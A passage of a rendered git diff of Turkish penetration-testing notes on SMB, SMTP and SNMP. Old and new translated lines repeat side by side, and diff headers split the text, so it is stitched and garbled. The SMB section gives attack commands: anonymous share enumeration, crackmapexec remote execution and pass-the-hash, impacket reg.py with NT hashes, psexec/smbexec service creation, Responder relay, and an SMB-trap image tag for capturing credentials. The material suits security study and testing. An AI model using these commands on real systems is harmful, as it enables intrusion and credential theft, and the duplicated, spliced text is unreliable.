Teknik olarak, Port 139 'NBT over IP' olarak adlandırılırken, Port 445 'SMB over IP' olarak tanımlanır. Kısaltma **SMB**, '**Server Message Blocks**' anlamına gelir ve modern olarak **Common Internet File System (CIFS)** olarak da bilinir. Uygulama katmanı ağ protokolü olarak, SMB/CIFS esasen dosyalara, yazıcılara, seri portlara paylaşımlı erişimi sağlamak ve bir ağ üzerindeki düğümler arasında çeşitli iletişim biçimlerini kolaylaştırmak için kullanılır.
Örneğin, Windows bağlamında, SMB'nin doğrudan TCP/IP üzerinden çalışabileceği, böylece TCP/IP üzerinden NetBIOS'a olan gereksinimin ortadan kalktığı vurgulanmaktadır; bu, port 445'in kullanımıyla mümkündür. Tersine, farklı sistemlerde port 139'un kullanımı gözlemlenmektedir; bu, SMB'nin TCP/IP üzerinden NetBIOS ile birlikte çalıştığını göstermektedir.
Örneğin, Windows bağlamında, SMB'nin doğrudan TCP/IP üzerinden çalışabileceği, böylece TCP/IP üzerinden NetBIOS'a olan gereksinimin ortadan kalktığı vurgulanmaktadır; bu, port 445'in kullanımıyla mümkündür. Aksine, farklı sistemlerde port 139'un kullanımı gözlemlenmektedir; bu, SMB'nin TCP/IP üzerinden NetBIOS ile birlikte çalıştığını göstermektedir.
```
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
```
### SMB
**Server Message Block (SMB)** protokolü, **istemci-sunucu** modelinde çalışarak **dosyalara**, dizinlere ve yazıcılar ile yönlendiriciler gibi diğer ağ kaynaklarına **erişimi** düzenlemek için tasarlanmıştır. Öncelikle **Windows** işletim sistemi serisi içinde kullanılan SMB, geriye dönük uyumluluğu sağlayarak, Microsoft'un işletim sisteminin daha yeni sürümlerine sahip cihazların, daha eski sürümlerini çalıştıranlarla sorunsuz bir şekilde etkileşimde bulunmasına olanak tanır. Ayrıca, **Samba** projesi, SMB'nin **Linux** ve Unix sistemlerinde uygulanmasını sağlayan ücretsiz bir yazılım çözümü sunarak, SMB üzerinden çapraz platform iletişimini kolaylaştırır.
**Server Message Block (SMB)** protokolü, **istemci-sunucu** modelinde çalışarak **dosyalara**, dizinlere ve yazıcılar ve yönlendiriciler gibi diğer ağ kaynaklarına **erişimi** düzenlemek için tasarlanmıştır. Öncelikle **Windows** işletim sistemi serisi içinde kullanılan SMB, geriye dönük uyumluluğu sağlar; bu sayede Microsoft'un işletim sisteminin daha yeni sürümlerine sahip cihazlar, daha eski sürümlerle sorunsuz bir şekilde etkileşimde bulunabilir. Ayrıca, **Samba** projesi, SMB'nin **Linux** ve Unix sistemlerinde uygulanmasını sağlayan ücretsiz bir yazılım çözümü sunarak, SMB üzerinden çapraz platform iletişimini kolaylaştırır.
Yerel dosya sisteminin **rastgele parçalarını** temsil eden paylaşımlar, bir SMB sunucusu tarafından sağlanabilir ve bu, istemciye sunucunun gerçek yapısından kısmen **bağımsız** bir hiyerarşi sunar. **Erişim Kontrol Listeleri (ACL'ler)**, **erişim haklarını** tanımlayarak, **`çalıştırma`**, **`okuma`** ve **`tam erişim`** gibi nitelikler de dahil olmak üzere kullanıcı izinleri üzerinde **ince ayar kontrolü** sağlar. Bu izinler, paylaşımlara dayalı olarak bireysel kullanıcılara veya gruplara atanabilir ve sunucudaki yerel izinlerden farklıdır.
SMB sunucusu tarafından sağlanabilen paylaşımlar, **yerel dosya sisteminin** keyfi parçalarını temsil eder ve bu, bir istemciye sunucunun gerçek yapısından kısmen **bağımsız** olarak hiyerarşiyi görünür kılar. **Erişim Kontrol Listeleri (ACL'ler)**, **erişim haklarını** tanımlayarak, **`çalıştırma`**, **`okuma`** ve **`tam erişim`** gibi nitelikler de dahil olmak üzere kullanıcı izinleri üzerinde **ince ayar** kontrolü sağlar. Bu izinler, paylaşımlara dayalı olarak bireysel kullanıcılara veya gruplara atanabilir ve sunucuda ayarlanan yerel izinlerden farklıdır.
### IPC$ Paylaşımı
IPC$ paylaşımına anonim bir null oturumu aracılığıyla erişim sağlanabilir ve bu, adlandırılmış borular aracılığıyla sunulan hizmetlerle etkileşimde bulunmayı mümkün kılar. Bu amaçla `enum4linux` aracı faydalıdır. Doğru kullanıldığında, aşağıdakilerin edinilmesini sağlar:
- İşletim sistemi hakkında bilgi
- Ana alan hakkında detaylar
- Ana alan hakkında ayrıntılar
- Yerel kullanıcılar ve grupların derlemesi
- Mevcut SMB paylaşımları hakkında bilgi
- Etkili sistem güvenlik politikası
@ -40,7 +40,7 @@ Yukarıdaki komut, `target_ip` ile belirtilen bir hedefe karşı tam bir enumera
## NTLM Nedir
Eğer NTLM'in ne olduğunu bilmiyorsanız veya nasıl çalıştığını ve nasıl istismar edileceğini öğrenmek istiyorsanız, **NTLM** hakkında bu sayfayı çok ilginç bulacaksınız; burada **bu protokolün nasıl çalıştığı ve ondan nasıl yararlanabileceğiniz açıklanmaktadır:**
Eğer NTLM'in ne olduğunu bilmiyorsanız veya nasıl çalıştığını ve nasıl istismar edileceğini öğrenmek istiyorsanız, **bu protokolün nasıl çalıştığını ve nasıl faydalanabileceğinizi** açıklayan **NTLM** hakkında bu sayfayı çok ilginç bulacaksınız:
{{#ref}}
../../windows-hardening/ntlm/
@ -57,7 +57,7 @@ nbtscan -r 192.168.0.1/24
SMB versiyonuna olası istismarlar aramak için hangi versiyonun kullanıldığını bilmek önemlidir. Bu bilgi diğer kullanılan araçlarda görünmüyorsa, şunları yapabilirsiniz:
- **MSF** yardımcı modülünü kullanın \_**auxiliary/scanner/smb/smb_version**
- Ya da bu scripti:
- Ya da bu scripti kullanın:
```bash
#!/bin/sh
#Author: rewardone
@ -121,7 +121,7 @@ rpcclient -U "username%passwd" <IP> #With creds
```
### Kullanıcıları, Grupları ve Giriş Yapmış Kullanıcıları Listele
Bu bilgiler zaten enum4linux ve enum4linux-ng'den toplanmış olmalıdır.
Bu bilgi zaten enum4linux ve enum4linux-ng'den toplanmış olmalıdır.
```bash
crackmapexec smb 10.10.10.10 --users [-u <username> -p <password>]
crackmapexec smb 10.10.10.10 --groups [-u <username> -p <password>]
@ -169,7 +169,7 @@ rpcclient-enumeration.md
### Paylaşılan klasörleri listele
Her zaman erişim sağlayıp sağlayamayacağınıza bakmanız önerilir, eğer kimlik bilgileriniz yoksa **null** **kimlik bilgileri/konuk kullanıcı** kullanmayı deneyin.
Her zaman erişim sağlayıp sağlayamayacağınıza bakmanız önerilir, eğer kimlik bilgilerine sahip değilseniz **null** **kimlik bilgileri/konuk kullanıcı** kullanmayı deneyin.
```bash
smbclient --no-pass -L //<IP> # Null user
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
@ -210,7 +210,7 @@ Windows hedefleri için yaygın paylaşım adları şunlardır:
- SYSVOL
- NETLOGON
(_**Network Security Assessment 3rd edition**_ kitabından yaygın paylaşım adları)
(_**Network Security Assessment 3rd edition**_'dan yaygın paylaşım adları)
Aşağıdaki komutu kullanarak onlara bağlanmayı deneyebilirsiniz.
```bash
@ -258,7 +258,7 @@ net share
# List shares on a remote computer (including hidden ones)
net view \\<ip> /all
```
MMC Snap-in (grafik)
MMC Ekleme (grafik)
```shell
# Shared Folders: Shared Folders > Shares
fsmgmt.msc
@ -310,15 +310,15 @@ Snaffler.exe -s -d domain.local -o snaffler.log -v data
```bash
sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares'
```
Paylaşımlardan özellikle ilginç olanlar, **`Registry.xml`** adlı dosyalardır çünkü bunlar **autologon** ile yapılandırılmış kullanıcılar için **şifreler** içerebilir. Ayrıca **`web.config`** dosyaları da kimlik bilgilerini içerir.
Özellikle paylaşımlardan ilginç olanlar, **`Registry.xml`** adlı dosyalardır çünkü bunlar **autologon** ile yapılandırılmış kullanıcılar için **şifreler** içerebilir. Ya da **`web.config`** dosyaları, çünkü bunlar kimlik bilgileri içerir.
> [!NOTE]
> **SYSVOL paylaşımı**, alan içindeki tüm kimlik doğrulaması yapılmış kullanıcılar tarafından **okunabilir**. İçinde birçok farklı batch, VBScript ve PowerShell **scripti** bulabilirsiniz.\
> İçindeki **scriptleri** **kontrol** etmelisiniz çünkü **şifreler** gibi hassas bilgileri **bulabilirsiniz**.
> **SYSVOL paylaşımı**, alan içindeki tüm kimlik doğrulaması yapılmış kullanıcılar tarafından **okunabilir**. İçinde birçok farklı batch, VBScript ve PowerShell **script** bulabilirsiniz.\
> İçindeki **script**'leri **kontrol** etmelisiniz çünkü **şifreler** gibi hassas bilgileri **bulabilirsiniz**.
## Kayıt Defterini Oku
Bulunan bazı kimlik bilgilerini kullanarak **kayıt defterini okumak** mümkün olabilir. Impacket **`reg.py`** denemek için size olanak tanır:
Bulunan bazı kimlik bilgilerini kullanarak **kayıt defterini okumayı** başarabilirsiniz. Impacket **`reg.py`** denemenize olanak tanır:
```bash
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
@ -341,7 +341,7 @@ Bir **Samba** sunucusunun **varsayılan yapılandırması** genellikle `/etc/sam
| `magic script = script.sh` | Script kapandığında hangi scriptin çalıştırılması gerekir? |
| `magic output = script.out` | Magic scriptin çıktısının nereye kaydedilmesi gerekir? |
` smbstatus` komutu **sunucu** hakkında ve **kimin bağlı olduğu** hakkında bilgi verir.
`Smbstatus` komutu **sunucu** hakkında ve **kimin bağlı olduğu** hakkında bilgi verir.
## Authenticate using Kerberos
@ -354,7 +354,7 @@ rpcclient -k ws01win10.domain.com
### **crackmapexec**
crackmapexec, **wmiexec** varsayılan yöntem olmak üzere, **mmcexec, smbexec, atexec, wmiexec** kullanarak komutları çalıştırabilir. Hangi seçeneği kullanmak istediğinizi `--exec-method` parametresi ile belirtebilirsiniz:
crackmapexec, **wmiexec**'i **varsayılan** yöntem olarak kullanarak, **mmcexec, smbexec, atexec, wmiexec**'i **istismar ederek** komutları çalıştırabilir. Hangi seçeneği kullanmak istediğinizi `--exec-method` parametresi ile belirtebilirsiniz:
```bash
apt-get install crackmapexec
@ -378,7 +378,7 @@ crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash
```
### [**psexec**](../../windows-hardening/lateral-movement/psexec-and-winexec.md)**/**[**smbexec**](../../windows-hardening/lateral-movement/smbexec.md)
Her iki seçenek de **kurban makinesinde yeni bir hizmet oluşturacaktır** (SMB üzerinden _\pipe\svcctl_ kullanarak) ve bunu **bir şey çalıştırmak için** kullanacaktır (**psexec** bir çalıştırılabilir dosyayı ADMIN$ paylaşımına **yükleyecek** ve **smbexec** **cmd.exe/powershell.exe**'ye işaret edecek ve argümanlara yükü koyacaktır --**dosya olmadan teknik-**-).\
Her iki seçenek de **kurban makinesinde yeni bir hizmet oluşturacaktır** (SMB üzerinden _\pipe\svcctl_ kullanarak) ve bunu **bir şey çalıştırmak için** kullanacaktır (**psexec** bir yürütülebilir dosyayı ADMIN$ paylaşımına **yükleyecek** ve **smbexec** **cmd.exe/powershell.exe**'ye işaret edecek ve argümanlara yükü koyacaktır --**dosya olmadan teknik-**-).\
**Daha fazla bilgi** için [**psexec** ](../../windows-hardening/lateral-movement/psexec-and-winexec.md)ve [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md).\
**kali**'de /usr/share/doc/python3-impacket/examples/ dizininde bulunmaktadır.
```bash
@ -428,12 +428,12 @@ ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rid
```
## SMB relay attack
Bu saldırı, iç ağda **SMB kimlik doğrulama oturumlarını** **yakalamak** için Responder aracını kullanır ve bunları **hedef makineye** **iletir**. Eğer kimlik doğrulama **oturumu başarılı olursa**, otomatik olarak bir **sistem** **kabuk** ortamına geçecektir.\
Bu saldırı, iç ağda **SMB kimlik doğrulama oturumlarını** **yakalamak** için Responder aracını kullanır ve bunları bir **hedef makineye** **iletir**. Eğer kimlik doğrulama **oturumu başarılı olursa**, otomatik olarak bir **sistem** **kabuk** ortamına geçecektir.\
[**Bu saldırı hakkında daha fazla bilgi burada.**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
## SMB-Trap
Windows kütüphanesi URLMon.dll, bir sayfa SMB üzerinden bazı içeriklere erişmeye çalıştığında otomatik olarak ana makineye kimlik doğrulama yapmaya çalışır, örneğin: `img src="\\10.10.10.10\path\image.jpg"`
Windows kütüphanesi URLMon.dll, bir sayfa SMB üzerinden bazı içeriklere erişmeye çalıştığında otomatik olarak ana bilgisayara kimlik doğrulama yapmaya çalışır, örneğin: `img src="\\10.10.10.10\path\image.jpg"`
Bu, aşağıdaki işlevlerle gerçekleşir:

View File

@ -17,9 +17,9 @@ PORT STATE SERVICE REASON VERSION
Eğer **kurbanın size bir e-posta göndermesi için fırsatınız varsa** (örneğin web sayfasının iletişim formu aracılığıyla), bunu yapın çünkü **kurbanın iç topolojisi hakkında bilgi edinebilirsiniz** e-postanın başlıklarını görerek.
Ayrıca, bir SMTP sunucusundan **var olmayan bir adrese e-posta göndermeyi deneyerek** bir e-posta alabilirsiniz (çünkü sunucu saldırgana bir NDN e-postası gönderecektir). Ancak, e-postayı izin verilen bir adresten gönderdiğinizden emin olun (SPF politikasını kontrol edin) ve NDN mesajlarını alabileceğinizden emin olun.
Ayrıca, bir SMTP sunucusundan **var olmayan bir adrese e-posta göndermeye çalışarak** bir e-posta alabilirsiniz (çünkü sunucu saldırgana bir NDN e-postası gönderecektir). Ancak, e-postayı izin verilen bir adresten gönderdiğinizden emin olun (SPF politikasını kontrol edin) ve NDN mesajlarını alabileceğinizden emin olun.
Ayrıca, **daha ilginç bilgiler bulabileceğiniz için farklı içerikler göndermeyi** denemelisiniz, örneğin: `X-Virus-Scanned: by av.domain.com`\
Ayrıca, **daha ilginç bilgiler bulabileceğiniz için farklı içerikler göndermeyi** denemelisiniz, başlıklarda: `X-Virus-Scanned: by av.domain.com` gibi.\
EICAR test dosyasını göndermelisiniz.\
**AV**'yi tespit etmek, **bilinen zafiyetleri** istismar etmenizi sağlayabilir.
@ -227,7 +227,7 @@ smtp-smuggling.md
## Mail Spoofing Karşı Önlemleri
Kuruluşlar, SMTP mesajlarının sahte bir şekilde gönderilmesinin kolaylığı nedeniyle, **SPF**, **DKIM** ve **DMARC** kullanarak kendi adlarına yetkisiz e-postaların gönderilmesini engeller.
Kuruluşlar, SMTP mesajlarının sahte bir şekilde gönderilmesinin kolaylığı nedeniyle, **SPF**, **DKIM** ve **DMARC** kullanarak kendi adlarına yetkisiz e-posta gönderilmesini engeller.
**Bu karşı önlemler için kapsamlı bir rehber** [https://seanthegeek.net/459/demystifying-dmarc/](https://seanthegeek.net/459/demystifying-dmarc/) adresinde mevcuttur.
@ -256,7 +256,7 @@ Kuruluşlar, SMTP mesajlarının sahte bir şekilde gönderilmesinin kolaylığ
| REDIRECT | <p>Yönlendirme, bir SPF politikasını barındıran başka bir alan adına işaret eden bir işarettir, bu da birden fazla alanın aynı SPF politikasını paylaşmasına olanak tanır. Aynı e-posta altyapısını paylaşan çok sayıda alanla çalışırken faydalıdır.</p><p>Yönlendirme Mekanizmasında belirtilen alanın SPF politikası kullanılacaktır.</p> |
Ayrıca, **bir mekanizma eşleştiğinde ne yapılması gerektiğini** belirten **Nitelikler** tanımlamak da mümkündür. Varsayılan olarak, **nitelik "+"** kullanılır (yani, herhangi bir mekanizma eşleşirse, bu izin verildiği anlamına gelir).\
Genellikle, her SPF politikasının sonunda **\~all** veya **-all** gibi bir şey göreceksiniz. Bu, **gönderen herhangi bir SPF politikasına uymuyorsa, e-postayı güvensiz olarak işaretlemeniz (\~) veya e-postayı reddetmeniz (-) gerektiğini** belirtmek için kullanılır.
Genellikle, her SPF politikasının sonunda **\~all** veya **-all** gibi bir şey göreceksiniz. Bu, **gönderen hbir SPF politikasına uymuyorsa, e-postayı güvensiz olarak işaretlemeniz (\~) veya e-postayı reddetmeniz (-) gerektiğini** belirtmek için kullanılır.
#### Nitelikler
@ -286,9 +286,9 @@ _netblocks2.google.com. 1908 IN TXT "v=spf1 ip6:2001:4860:4000::/36
dig txt _netblocks3.google.com | grep spf
_netblocks3.google.com. 1903 IN TXT "v=spf1 ip4:172.217.0.0/19 ip4:172.217.32.0/20 ip4:172.217.128.0/19 ip4:172.217.160.0/20 ip4:172.217.192.0/19 ip4:172.253.56.0/21 ip4:172.253.112.0/20 ip4:108.177.96.0/19 ip4:35.191.0.0/16 ip4:130.211.0.0/22 ~all"
```
Geleneksel olarak, doğru/hiçbir SPF kaydı olmayan herhangi bir alan adını taklit etmek mümkündü. **Günümüzde**, eğer **e-posta** **geçerli bir SPF kaydı olmayan bir alandan** geliyorsa, muhtemelen **otomatik olarak reddedilecek/ güvensiz olarak işaretlenecektir**.
Geleneksel olarak, doğru/hiçbir SPF kaydı olmayan herhangi bir alan adını taklit etmek mümkündü. **Günümüzde**, eğer **e-posta** geçerli bir **SPF kaydı olmayan bir alandan** geliyorsa, muhtemelen **otomatik olarak reddedilecek/ güvensiz olarak işaretlenecektir**.
Bir alan adının SPF'sini kontrol etmek için çevrimiçi araçlar kullanabilirsiniz: [https://www.kitterman.com/spf/validate.html](https://www.kitterman.com/spf/validate.html)
Bir alan adının SPF kaydını kontrol etmek için şu çevrimiçi araçları kullanabilirsiniz: [https://www.kitterman.com/spf/validate.html](https://www.kitterman.com/spf/validate.html)
### DKIM (DomainKeys Identified Mail)
@ -304,7 +304,7 @@ dig 20120113._domainkey.gmail.com TXT | grep p=
```
### DMARC (Domain-based Message Authentication, Reporting & Conformance)
DMARC, SPF ve DKIM protokollerinin üzerine inşa ederek e-posta güvenliğini artırır. Belirli bir alan adından gelen e-postaların işlenmesinde mail sunucularına rehberlik eden politikaları belirler; bu, kimlik doğrulama hatalarıyla nasıl başa çıkılacağı ve e-posta işleme eylemleri hakkında raporların nereye gönderileceğini içerir.
DMARC, SPF ve DKIM protokollerinin üzerine inşa ederek e-posta güvenliğini artırır. Belirli bir alan adından gelen e-postaların işlenmesi konusunda mail sunucularına rehberlik eden politikaları belirler; bu, kimlik doğrulama hatalarıyla nasıl başa çıkılacağı ve e-posta işleme eylemleri hakkında raporların nereye gönderileceği gibi konuları içerir.
**DMARC kaydını almak için \_dmarc alt alan adını sorgulamanız gerekir.**
```bash
@ -327,11 +327,11 @@ _dmarc.bing.com. 3600 IN TXT "v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMA
| v | Protokol versiyonu | v=DMARC1 |
| pct | Filtrelemeye tabi tutulan mesajların yüzdesi| pct=20 |
| ruf | Adli raporlar için raporlama URI'si | ruf=mailto:authfail@example.com |
| rua | Toplu raporlar için raporlama URI'si | rua=mailto:aggrep@example.com |
| rua | Toplu raporların raporlama URI'si | rua=mailto:aggrep@example.com |
| p | Kurumsal alan için politika | p=quarantine |
| sp | OD'nin alt alanları için politika | sp=reject |
| adkim | DKIM için hizalama modu | adkim=s |
| aspf | SPF için hizalama modu | aspf=r |
| adkim | DKIM için hizalama modu | adkim=s |
| aspf | SPF için hizalama modu | aspf=r |
### **Alt Alan Adları Ne Olacak?**
@ -341,13 +341,13 @@ Aşağıdaki bilgi, bu tür şeyler için harika bir kaynak olan openspf.org'da
> Demon Sorusu: Alt alan adları ne olacak?
>
> Eğer pielovers.demon.co.uk adresinden mail alıyorsam ve pielovers için SPF verisi yoksa, bir seviye geri gidip demon.co.uk için SPF'yi test etmeli miyim? Hayır. Demon'daki her alt alan farklı bir müşteridir ve her müşterinin kendi politikası olabilir. Demon's politikası varsayılan olarak tüm müşterilerine uygulanamaz; eğer Demon bunu yapmak istiyorsa, her alt alan için SPF kayıtları oluşturabilir.
> Eğer pielovers.demon.co.uk adresinden mail alıyorsam ve pielovers için SPF verisi yoksa, bir seviye geri gidip demon.co.uk için SPF'yi test etmeli miyim? Hayır. Demon'daki her alt alan farklı bir müşteridir ve her müşterinin kendi politikası olabilir. Demon's politikası varsayılan olarak tüm müşterilerine uygulanamaz; eğer Demon bunu istiyorsa, her alt alan için SPF kayıtları oluşturabilir.
>
> Bu nedenle SPF yayıncılarına tavsiye şudur: A veya MX kaydı olan her alt alan veya ana bilgisayar için bir SPF kaydı eklemelisiniz.
>
> Wildcard A veya MX kayıtlarına sahip sitelerin de şu biçimde bir wildcard SPF kaydına sahip olması gerekir: \* IN TXT "v=spf1 -all"
Bu mantıklıdır - bir alt alan, çok farklı bir coğrafi konumda olabilir ve çok farklı bir SPF tanımına sahip olabilir.
Bu mantıklıdır - bir alt alan çok farklı bir coğrafi konumda olabilir ve çok farklı bir SPF tanımına sahip olabilir.
### **Açık İletim**
@ -357,7 +357,7 @@ Bazı yöneticilerin, özellikle potansiyel veya devam eden müşterilerle ileti
```bash
mynetworks = 0.0.0.0/0
```
Bir mail sunucusunun açık bir relay olup olmadığını kontrol etmek için (bu, herhangi bir dış kaynaktan e-posta iletebileceği anlamına gelir), `nmap` aracı yaygın olarak kullanılır. Bu amaçla test etmek için tasarlanmış özel bir script içerir. `nmap` kullanarak 25 numaralı portta bir sunucuda (örneğin, IP 10.10.10.10 ile) ayrıntılı bir tarama yapmak için kullanılan komut:
Bir mail sunucusunun açık bir relay olup olmadığını kontrol etmek için (bu, herhangi bir dış kaynaktan e-posta iletebileceği anlamına gelir), `nmap` aracı yaygın olarak kullanılır. Bu amaçla test etmek için tasarlanmış özel bir betik içerir. `nmap` kullanarak 25 numaralı portta bir sunucuda (örneğin, IP 10.10.10.10 ile) ayrıntılı bir tarama gerçekleştirmek için komut:
```bash
nmap -p25 --script smtp-open-relay 10.10.10.10 -v
```
@ -477,12 +477,12 @@ s.sendmail(sender, [destination], msg_data)
**Bu korumalar hakkında daha fazla bilgi bulmak için** [**https://seanthegeek.net/459/demystifying-dmarc/**](https://seanthegeek.net/459/demystifying-dmarc/)
### **Diğer phishing göstergeleri**
### **Diğer oltalama göstergeleri**
- Alan adının yaşı
- IP adreslerine işaret eden bağlantılar
- Bağlantı manipülasyon teknikleri
- Şüpheli (olağan dışı) ekler
- Şüpheli (olağandışı) ekler
- Bozuk e-posta içeriği
- E-posta başlıklarından farklı olan kullanılan değerler
- Geçerli ve güvenilir bir SSL sertifikasının varlığı
@ -496,7 +496,7 @@ s.sendmail(sender, [destination], msg_data)
### Postfix
Genellikle, yüklüyse, `/etc/postfix/master.cf` dosyası, örneğin bir kullanıcı tarafından yeni bir e-posta alındığında **çalıştırılacak betikleri** içerir. Örneğin `flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient}` satırı, kullanıcı mark tarafından yeni bir e-posta alındığında `/etc/postfix/filtering` dosyasının çalıştırılacağını belirtir.
Genellikle, yüklüyse, `/etc/postfix/master.cf` dosyası, örneğin bir kullanıcı tarafından yeni bir e-posta alındığında **çalıştırılacak betikleri** içerir. Örneğin `flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient}` satırı, kullanıcı mark tarafından yeni bir e-posta alındığında `/etc/postfix/filtering`'in çalıştırılacağını belirtir.
Diğer konfigürasyon dosyaları:
```

View File

@ -15,7 +15,7 @@ PORT STATE SERVICE REASON VERSION
### MIB
SNMP erişiminin üreticiler arasında ve farklı istemci-sunucu kombinasyonlarıyla çalışmasını sağlamak için **Yönetim Bilgi Tabanı (MIB)** oluşturulmuştur. MIB, **cihaz bilgilerini depolamak için bağımsız bir formattır**. Bir MIB, bir cihazın tüm sorgulanabilir **SNMP nesnelerinin** listelendiği **standartlaştırılmış** bir ağaç hiyerarşisinde bulunan bir **metin** dosyasıdır. En az bir **`Nesne Tanımlayıcısı` (`OID`)** içerir; bu, gerekli **benzersiz adres** ve bir **isim** ile birlikte, ilgili nesnenin türü, erişim hakları ve açıklaması hakkında bilgi sağlar.\
SNMP erişiminin üreticiler arasında ve farklı istemci-sunucu kombinasyonlarıyla çalışmasını sağlamak için **Yönetim Bilgi Tabanı (MIB)** oluşturulmuştur. MIB, **cihaz bilgilerini depolamak için bağımsız bir formattır**. Bir MIB, bir cihazın sorgulanabilir **SNMP nesnelerinin** listelendiği **standartlaştırılmış** bir ağaç hiyerarşisinde bulunan bir **metin** dosyasıdır. En az bir **`Nesne Tanımlayıcı` (`OID`)** içerir; bu, gerekli **benzersiz adres** ve bir **isim** ile birlikte, ilgili nesnenin türü, erişim hakları ve açıklaması hakkında bilgi sağlar.\
MIB dosyaları, `Abstract Syntax Notation One` (`ASN.1`) tabanlı ASCII metin formatında yazılmıştır. **MIB'ler veri içermez**, ancak **hangi bilginin nerede bulunacağını** ve neye benzediğini açıklar; belirli OID için dönen değerleri veya hangi veri türünün kullanıldığını belirtir.
### OIDs
@ -28,7 +28,7 @@ Ayrıca, satıcılara özel dallar oluşturma özgürlüğü verilmektedir. Bu d
![](<../../images/SNMP_OID_MIB_Tree (1).png>)
Bir **OID ağacında** gezinmek için buradan web üzerinden erişebilirsiniz: [http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) veya **bir OID'nin ne anlama geldiğini** görmek için (örneğin `1.3.6.1.2.1.1`) [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1) adresine erişebilirsiniz.\
Bir **OID ağacında** gezinmek için buradan erişebilirsiniz: [http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) veya **bir OID'nin ne anlama geldiğini görmek için** (örneğin `1.3.6.1.2.1.1`) [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1) adresine erişebilirsiniz.\
[1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1) içinde tanımlanan MIB-2'ye atıfta bulunan bazı **iyi bilinen OID'ler** vardır. Ve bu OID'lerden elde edebileceğiniz bazı ilginç ana bilgisayar verileri (sistem verileri, ağ verileri, süreç verileri...) bulunmaktadır.
### **OID Örneği**
@ -43,10 +43,10 @@ Bu adresin ayrıntılııklaması:
- 3 buna ORG denir ve cihazı üreten organizasyonu belirtmek için kullanılır.
- 6 bu, interneti ilk kuran organizasyon olan Savunma Bakanlığı'dır.
- 1 bu, tüm iletişimlerin İnternet üzerinden gerçekleşeceğini belirtmek için internetin değeridir.
- 4 bu değer, bu cihazın özel bir organizasyon tarafından yapıldığını ve devlet tarafından yapılmadığını belirler.
- 4 bu değer, bu cihazın özel bir organizasyon tarafından yapıldığını belirtir, hükümet tarafından değil.
- 1 bu değer, cihazın bir işletme veya ticari varlık tarafından yapıldığını belirtir.
Bu ilk altı değer, tüm cihazlar için genellikle aynıdır ve size temel bilgileri verir. Bu sayı dizisi, cihaz devlet tarafından yapıldığında hariç, tüm OID'ler için aynı olacaktır.
Bu ilk altı değer, tüm cihazlar için genellikle aynıdır ve size temel bilgileri verir. Bu sayı dizisi, cihaz hükümet tarafından yapılmadığı sürece tüm OID'ler için aynı olacaktır.
Sonraki sayı dizisine geçelim.
@ -56,7 +56,7 @@ Sonraki sayı dizisine geçelim.
Geri kalan değerler, cihaza özgü bilgileri verir.
- 5 ayrık bir alarm noktasını belirtir.
- 5 belirli bir alarm noktasını belirtir.
- 1 cihazdaki belirli nokta
- 3 port
- 21 portun adresi
@ -71,7 +71,7 @@ SNMP'nin 2 önemli sürümü vardır:
- **SNMPv1**: Ana sürüm, hala en yaygın olanıdır, **kimlik doğrulama bir dizeye** (topluluk dizesi) dayanır ve **düz metin** içinde iletilir (tüm bilgiler düz metin içinde iletilir). **Sürüm 2 ve 2c** de **düz metin** içinde trafik gönderir ve **kimlik doğrulama olarak bir topluluk dizesi kullanır**.
- **SNMPv3**: Daha iyi bir **kimlik doğrulama** biçimi kullanır ve bilgiler **şifreli** olarak iletilir (bir **sözlük saldırısı** gerçekleştirilebilir ancak SNMPv1 ve v2'ye göre doğru kimlik bilgilerini bulmak çok daha zor olacaktır).
### Topluluk Düzeyleri
### Topluluk Düzleri
Daha önce belirtildiği gibi, **MIB'de saklanan bilgilere erişmek için sürüm 1 ve 2/2c'de topluluk dizesini, sürüm 3'te ise kimlik bilgilerini bilmeniz gerekir.**\
**2 tür topluluk dizesi** vardır:
@ -79,8 +79,8 @@ Daha önce belirtildiği gibi, **MIB'de saklanan bilgilere erişmek için sürü
- **`public`** esasen **sadece okuma** işlevleri
- **`private`** **Okuma/Yazma** genel olarak
**Bir OID'nin yazılabilirliği kullanılan topluluk dizesine bağlıdır**, bu nedenle **"public"** kullanıldığını bulsanız bile bazı değerleri **yazma** yeteneğine sahip olabilirsiniz. Ayrıca, her zaman **"Sadece Okuma"** olan nesneler de **mevcut olabilir**.\
Bir nesneye **yazmaya** çalıştığınızda **`noSuchName` veya `readOnly` hatası** alınır\*\*.\*\*
**Bir OID'nin yazılabilirliği, kullanılan topluluk dizesine bağlıdır**, bu nedenle **"public"** kullanıldığını bulsanız bile, bazı değerleri **yazma** yeteneğine sahip olabilirsiniz. Ayrıca, her zaman **"Sadece Okuma"** olan nesneler de **mevcut olabilir**.\
Bir nesneye **yazmaya** çalıştığınızda, **`noSuchName` veya `readOnly` hatası** alınır\*\*.\*\*
Sürüm 1 ve 2/2c'de **kötü** bir topluluk dizesi kullanırsanız, sunucu **yanıt vermez**. Yani, yanıt verirse, **geçerli bir topluluk dizesi kullanılmıştır**.
@ -136,7 +136,7 @@ Ağ yönetimi alanında, belirli yapılandırmalar ve parametreler kapsamlı izl
